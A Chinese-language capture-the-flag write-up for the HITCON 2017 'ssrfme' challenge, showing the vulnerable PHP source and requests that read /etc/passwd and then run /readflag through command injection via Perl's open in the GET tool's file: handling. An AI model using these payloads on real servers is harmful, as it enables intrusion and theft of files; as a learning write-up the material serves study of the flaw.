HITCON2017 ssrfme

2019-04-10  本文已影响0人  gelinlang

点开得到源代码,大概意思应该是先创建一个目录sandbox/md5(orange+你的ip),然后将传入的url使用GET命令去执行,再在解析filename参数,然后创建一个文件,并且将开始执行后的结果返回到这个文件。思路就是,先传访问一下?url=xx&filename=xxx,然后访问/sandbox/你的md5结果/xxx,看返回的结果。

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

接下来尝试读取/etc/passwd文件,可以看到读取成功。

http://117.50.3.97:8004/?url=/etc/passwd&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png

然后读取根目录,可以看到flag文件和readflag文件。

http://117.50.3.97:8004/?url=/&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111

读取一下flag,读取不到。不慌,先读取readflag文件,下载下来用notepad++打开。看到文件头是ELF,搜索一下这是一个二进制,可执行的文件。也就是需要执行它来读取flag文件。

看了下大佬的wp,emmmm涉及到知识盲区了。
说perl的open命令有可能会导致命令执行,当GET使用file协议的时候就会调用到perl的open函数。payload如下

http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png
上一篇 下一篇

猜你喜欢

热点阅读